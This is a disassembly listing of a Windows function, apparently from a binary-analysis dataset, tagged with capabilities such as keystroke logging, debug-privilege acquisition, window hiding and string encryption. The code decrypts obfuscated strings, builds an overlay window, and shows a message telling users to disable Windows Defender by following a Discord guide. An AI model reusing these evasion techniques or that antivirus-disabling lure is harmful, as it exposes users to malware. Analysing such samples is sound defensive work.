Function at 0x140071050
Capabilities:
Access peb ldr_data
Acquire debug privileges
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using speck
Hash data using fnv
Hide graphical window
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1090
call fcn.14015df10
sub rsp, rax
movaps xmmword [rsp + 0x1080], xmm6
movaps xmmword [rsp + 0x1070], xmm7
movaps xmmword [rsp + 0x1060], xmm8
movaps xmmword [rsp + 0x1050], xmm9
movaps xmmword [rsp + 0x1040], xmm10
movaps xmmword [rsp + 0x1030], xmm11
movaps xmmword [rsp + 0x1020], xmm12
movaps xmmword [rsp + 0x1010], xmm13
movaps xmmword [rsp + 0x1000], xmm14
movaps xmmword [rsp + 0xff0], xmm15
movups xmm0, xmmword [str.qUVNOTQQ______4Gh]
movups xmmword [rsp + 0x80], xmm0
xor r14d, r14d
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x14007121b
movdqa xmm10, xmmword [0x1401ff610]
mov edx, r14d
movdqa xmm9, xmmword [0x1401ffac0]
movdqa xmm11, xmmword [0x1401ff640]
movdqa xmm13, xmmword [0x1401ff760]
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rsp + 0x80]
movdqa xmm15, xmmword [0x1401ff6c0]
mov r8d, dword [rsp + 0x70]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140071130
jmp 0x14007128d
lea r9, [rsp + 0x80]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140071230
movdqa xmm15, xmmword [0x1401ff6c0]
movdqa xmm13, xmmword [0x1401ff760]
movdqa xmm11, xmmword [0x1401ff640]
movdqa xmm9, xmmword [0x1401ffac0]
movdqa xmm10, xmmword [0x1401ff610]
lea rdx, [rsp + 0x80]
lea rcx, [0x140662020]
call fcn.14001cf60
mov rcx, rax
call fcn.140034d80
movups xmm0, xmmword [0x1401fdf00]
movups xmmword [rsp + 0x610], xmm0
movups xmm1, xmmword [0x1401fdf10]
movups xmmword [rsp + 0x620], xmm1
movzx eax, word [0x1401fdf20]
mov word [rsp + 0x630], ax
mov r8d, r14d
cmp r15d, 2
jl 0x1400713f1
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rsp + 0x610]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140071300
cmp r8d, 0x22
jge 0x140071430
movsxd rax, r8d
lea r9, [rsp + 0x610]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140071400
lea rdx, [rsp + 0x610]
lea rcx, [rsp + 0x350]
call fcn.140007420
nop
mov edx, 7
lea rcx, [rsp + 0x350]
call fcn.14001f020
test al, al
jne 0x140071644
movups xmm0, xmmword [str.nHHURP]
movups xmmword [rsp + 0x500], xmm0
movups xmm1, xmmword [0x1401fe530]
movups xmmword [rsp + 0x510], xmm1
movsd xmm0, qword [0x1401fe540]
movsd qword [rsp + 0x520], xmm0
movzx eax, word [0x1401fe548]
mov word [rsp + 0x528], ax
movzx eax, byte [0x1401fe54a]
mov byte [rsp + 0x52a], al
cmp r15d, 2
jl 0x1400715c3
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rsp + 0x500]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm9
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm9
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm15
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x28
jl 0x1400714d0
cmp eax, 0x2b
jge 0x140071610
movsxd rax, r14d
lea r8, [rsp + 0x500]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r14b
sub al, cl
add al, 0x38
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x2b
jl 0x1400715e0
lea rdx, [rsp + 0x500]
lea rcx, [0x140662270]
call fcn.14001cf60
mov rcx, rax
call fcn.140034d80
nop
lea rcx, [rsp + 0x350]
call fcn.1400073c0
mov eax, 0xffffffff
jmp 0x14007184b
mov dword [rsp + 0x5c0], 0x50
mov dword [rsp + 0x5c4], 0x40
lea rax, [0x14007a250]
mov qword [rsp + 0x5c8], rax
mov qword [rsp + 0x5d0], r14
mov qword [rsp + 0x5d8], r14
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0x5e0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x5f0], r14
lea r13, [0x1401fd948]
mov qword [rsp + 0x5f8], r13
mov qword [rsp + 0x600], r13
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0x608], rax
lea rcx, [rsp + 0x5c0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x14066360c]
cvttss2si esi, dword [0x140663608]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x14066360c]
movss xmm8, dword [0x1401ff23c]
mulss xmm0, xmm8
subss xmm1, xmm0
cvttss2si ebx, xmm1
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x140663608]
mulss xmm0, xmm8
subss xmm1, xmm0
cvttss2si eax, xmm1
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
mov r8, r13
mov rdx, qword [rsp + 0x600]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x140663540], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x140663540]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x140663540]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rdx, qword [0x140663540]
mov rcx, qword [0x140663710]
call fcn.1400191e0
xorps xmm0, xmm0
movups xmmword [0x140663548], xmm0
lea rdx, [0x140663548]
mov rcx, qword [0x140663540]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x140663540]
call fcn.140079fc0
test al, al
jne 0x1400718a0
call fcn.14007a150
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rsp + 0x600]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rsp + 0x350]
call fcn.1400073c0
mov eax, r12d
lea r11, [rsp + 0x1090]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.14007e690
nop
call fcn.14007edf0
test al, al
je 0x1400718d0
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Windows_Defender_is_enabled._Please_disable_it_following_the_guide_on_Discord.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14007183b
mov edx, 0xa
mov rcx, qword [0x140663540]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140663540]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x38e0
mov r9d, 8
mov r8d, 0x450
lea rcx, str.1.90.6_WIP
call fcn.140005de0
xor ecx, ecx
call fcn.140039c10
call fcn.14003ad80
mov rdi, rax
or dword [rax], 3
mov qword [rax + 0x18], r14
lea rcx, [rsp + 0x9a0]
call fcn.140052ef0
mov dword [rsp + 0x9ec], 0x10c
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movss xmm7, dword [0x1401ff2f8]
movaps xmm3, xmm7
mov r8d, 0x13490
lea rdx, [0x140494870]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xb0], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movss xmm6, dword [0x1401ff300]
movaps xmm3, xmm6
mov r8d, 0x13490
lea rdx, [0x140494870]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xb8], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movss xmm12, dword [0x1401ff304]
movaps xmm3, xmm12
mov r8d, 0x13490
lea rdx, [0x140494870]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xc0], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1401ff2ec]
mov r8d, 0x13490
lea rdx, [0x140494870]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xc8], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1401ff2f0]
mov r8d, 0x13490
lea rdx, [0x140494870]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xd0], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1401ff2f4]
mov r8d, 0x118c
lea rdx, [0x140492fa0]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xd0], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm7
mov r8d, 0x118c
lea rdx, [0x140492fa0]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xd8], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm6
mov r8d, 0x118c
lea rdx, [0x140492fa0]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xe0], rax
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140053e70
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm12
mov r8d, 0x118c
lea rdx, [0x140492fa0]
mov rcx, rbx
call fcn.140053290
mov rcx, qword [0x140663708]
mov qword [rcx + 0xe8], rax
mov rcx, qword [0x140663540]
call fcn.1400034b0
mov rdx, qword [0x140663648]
mov rcx, qword [0x140663640]
call fcn.1400030a0
mov rax, qword [0x140663708]
lea rcx, [rax + 0x70]
cmp qword [rcx], 0
jne 0x140071c51
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rax, qword [0x1406636e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14065d960]
mov r8d, 0x1a932
lea rdx, [0x1404e2610]
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140663708]
lea rcx, [rax + 0x98]
cmp qword [rcx], 0
jne 0x140071c9c
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rax, qword [0x1406636e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14065d960]
mov r8d, 0x22ca79
lea rdx, [0x140225700]
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140663708]
lea rcx, [rax + 0xa0]
cmp qword [rcx], 0
jne 0x140071ce7
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rax, qword [0x1406636e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14065d960]
mov r8d, 0xb0343
lea rdx, [0x1404fcf50]
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140663708]
lea rcx, [rax + 0xa8]
cmp qword [rcx], 0
jne 0x140071d32
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rax, qword [0x1406636e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14065d960]
mov r8d, 0x3fbe
lea rdx, [0x140452180]
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140663708]
lea rcx, [rax + 0x68]
cmp qword [rcx], 0
jne 0x140071d7a
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rax, qword [0x1406636e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14065d960]
mov r8d, 0x30ec8
lea rdx, [0x1404a7d00]
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140663708]
lea rcx, [rax + 0x60]
cmp qword [rcx], 0
jne 0x140071dc2
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rax, qword [0x1406636e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14065d960]
mov r8d, 0xb06bc
lea rdx, [0x1405ad2a0]
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140663708]
lea rcx, [rax + 0x58]
cmp qword [rcx], 0
jne 0x140071e0a
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rcx
mov rax, qword [0x1406636e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14065d960]
mov r8d, 0x3ce46
lea rdx, [0x140456150]
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140663708]
add rax, 0x90
cmp qword [rax], 0
jne 0x140071e4d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rax, qword [0x1406636e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14065d960]
mov r8d, 0x73c
lea rdx, [0x140494130]
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
xor r13b, r13b
mov byte [rsp + 0x10d0], r13b
call fcn.140070b40
nop
lea rcx, [0x140663560]
call fcn.140021ad0
mov edx, eax
lea rcx, [rsp + 0x5a0]
call fcn.14001e290
nop
lea r8, str._users
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.140007ee0
mov rcx, qword [0x1406636f8]
add rcx, 0x40
mov rdx, rax
call fcn.14001ceb0
lea rcx, [rsp + 0xd0]
call fcn.1400073c0
nop
lea rcx, [rsp + 0x5a0]
call fcn.1400073c0
nop
jmp 0x140071f0c
xorps xmm12, xmm12
movss xmm14, dword [0x1401ff270]
lea rbx, [0x1401fd608]
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x818]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140071fac
nop
lea rcx, [rsp + 0x818]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x818]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx r13d, r13b
cmp dword [rsp + 0x820], 0x12
cmove r13d, r12d
mov byte [rsp + 0x10d0], r13b
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x818]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140071f40
test r13b, r13b
je 0x140071fac
lea rcx, [rsp + 0x350]
call fcn.1400073c0
xor eax, eax
jmp 0x14007184b
cmp dword [0x140663558], 0
je 0x140071ffd
cmp dword [0x14066355c], 0
je 0x140071ffd
call fcn.14007a220
mov rcx, qword [0x140663638]
mov rax, qword [rcx]
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov r9d, dword [0x14066355c]
mov r8d, dword [0x140663558]
xor edx, edx
call qword [rax + 0x68]
mov dword [0x14066355c], r14d
mov dword [0x140663558], r14d
call fcn.14007a1d0
call fcn.140003250
call fcn.140003c80
call fcn.14003ba20
call fcn.14003af50
mov rax, qword [0x140663708]
mov rcx, qword [0x1406634a0]
or dword [rcx + 0x4a08], 2
movsd xmm0, qword [rax]
movsd qword [rcx + 0x4a28], xmm0
mov dword [rcx + 0x4a10], r12d
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x208], 0
lea r9, [rsp + 0x200]
xor r8d, r8d
lea rdx, [rsp + 0x208]
mov rcx, qword [0x140663710]
call fcn.140011a10
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], 8
movaps xmm0, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x80], xmm0
mov r9d, 0xbb
xor r8d, r8d
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.14000ede0
mov rax, qword [0x1406634a0]
mov rcx, qword [rax + 0x4008]
movsd xmm0, qword [rcx + 0x28]
movsd qword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x68]
call fcn.1400470c0
lea rcx, [rsp + 0x710]
call fcn.140046f90
call fcn.14003af50
mov rsi, rax
call fcn.140038280
mov qword [rsp + 0x280], rax
mov rcx, qword [0x140663708]
movsd xmm0, qword [rcx + 8]
movsd qword [rax + 8], xmm0
mov rcx, qword [0x140663708]
movsd xmm1, qword [rcx + 0x10]
movsd qword [rax + 0x4c], xmm1
mov rcx, qword [0x140663708]
mov edx, dword [rcx + 0x1c]
mov dword [rax + 0x14], edx
mov rcx, qword [0x140663708]
mov edx, dword [rcx + 0x18]
mov dword [rax + 0x10], edx
mov rcx, qword [0x140663708]
mov edx, dword [rcx + 0x20]
mov dword [rax + 0x74], edx
movss xmm1, dword [0x1401ff308]
mov rcx, qword [0x140663710]
call fcn.14000b1f0
mov rax, qword [0x1406636f8]
lea edx, [rax + 0x12c]
mov dword [rsp + 0x30], r14d
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], 0xffffff9c
mov r9d, 0x64
movzx r8d, byte [rax + 0x128]
mov rcx, qword [0x1406636f0]
call fcn.14001b360
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mov rax, qword [0x1406636f8]
movss dword [rax + 0x12c], xmm0
movss xmm6, dword [0x1401ff2f0]
mov rcx, qword [0x1406634a0]
divss xmm6, dword [rcx + 0xd4]
mov rax, qword [0x1406636f8]
cmp byte [rax + 0x131], 0
je 0x1400721f2
lea rcx, [rsp + 0x730]
call fcn.1400470c0
movss xmm1, dword [rax + 4]
mulss xmm1, xmm8
mov rax, qword [0x1406636f8]
mov rcx, qword [0x1406634a0]
jmp 0x1400721fa
movss xmm1, dword [0x1401ff3d0]
movss xmm0, dword [rax + 0x134]
subss xmm1, xmm0
mulss xmm1, xmm6
addss xmm1, xmm0
movss dword [rax + 0x134], xmm1
mov rax, qword [0x140663708]
movss xmm6, dword [rax + 0x18]
mov rax, qword [0x140663700]
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rsp + 0x80], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [rcx + 0x38e8]
movss dword [rsp + 0x8c], xmm0
lea rcx, [rsp + 0x80]
call fcn.140037d80
mov rcx, qword [0x140663708]
movss xmm3, dword [rsp + 0x64]
movaps xmm1, xmm3
addss xmm1, dword [rcx + 4]
movss xmm2, dword [rsp + 0x60]
movaps xmm0, xmm2
addss xmm0, dword [rcx]
movss dword [rsp + 0x210], xmm0
movss dword [rsp + 0x214], xmm1
addss xmm2, xmm12
movss dword [rsp + 0x218], xmm2
addss xmm3, xmm12
movss dword [rsp + 0x21c], xmm3
mov dword [rsp + 0x30], r14d
movss dword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x210]
lea r8, [rsp + 0x218]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009e00
mov rax, qword [0x140663708]
movss xmm6, dword [rax + 0x18]
mov rax, qword [0x140663700]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm0
shufps xmm0, xmm0, 0xff
mov rax, qword [0x1406634a0]
mulss xmm0, dword [rax + 0x38e8]
movss dword [rsp + 0x8c], xmm0
lea rcx, [rsp + 0x80]
call fcn.140037d80
mov dword [rsp + 0x220], 0x3f800000
mov dword [rsp + 0x224], 0x3f800000
mov qword [rsp + 0x228], 0
mov r8, qword [0x140663708]
movss xmm2, dword [r8 + 4]
movss xmm4, dword [rsp + 0x60]
movaps xmm0, xmm4
addss xmm0, dword [r8]
movss dword [rsp + 0x230], xmm0
movss xmm3, dword [rsp + 0x64]
movaps xmm1, xmm3
addss xmm1, xmm2
movss dword [rsp + 0x234], xmm1
addss xmm3, xmm12
addss xmm4, xmm12
movss dword [rsp + 0x238], xmm4
movss dword [rsp + 0x23c], xmm3
mov dword [rsp + 0x48], r14d
movss dword [rsp + 0x40], xmm6
mov dword [rsp + 0x38], eax
lea rax, [rsp + 0x220]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x238]
mov r8, qword [r8 + 0x68]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.14000a050
mov edi, dword [rsi + 0x20]
mov rax, qword [0x140663700]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x80], xmm0
shufps xmm0, xmm0, 0xff
mov rax, qword [0x1406634a0]
mulss xmm0, dword [rax + 0x38e8]
movss dword [rsp + 0x8c], xmm0
lea rcx, [rsp + 0x80]
call fcn.140037d80
mov ecx, eax
mov dword [rsp + 0x240], 0x3f800000
mov dword [rsp + 0x244], 0x3f800000
mov qword [rsp + 0x248], 0
movss xmm3, dword [rsp + 0x60]
movaps xmm0, xmm3
addss xmm0, dword [0x1401ff33c]
movss dword [rsp + 0x250], xmm0
movss xmm2, dword [rsp + 0x64]
movaps xmm1, xmm2
addss xmm1, dword [0x1401ff334]
movss dword [rsp + 0x254], xmm1
addss xmm3, dword [0x1401ff328]
movss dword [rsp + 0x258], xmm3
addss xmm2, dword [0x1401ff310]
movss dword [rsp + 0x25c], xmm2
mov rax, qword [0x140663708]
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x240]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x248]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x250]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x258]
mov r8, qword [rax + 0x58]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009f80
mov rax, qword [0x140663700]
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rsp + 0x80], xmm0
shufps xmm0, xmm0, 0xff
mov rax, qword [0x1406634a0]
mulss xmm0, dword [rax + 0x38e8]
movss dword [rsp + 0x8c], xmm0
lea rcx, [rsp + 0x80]
call fcn.140037d80
mov ebx, eax
mov rcx, qword [0x140663700]
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x110], xmm0
shufps xmm0, xmm0, 0xff
mov rcx, qword [0x1406634a0]
mulss xmm0, dword [rcx + 0x38e8]
movss dword [rsp + 0x11c], xmm0
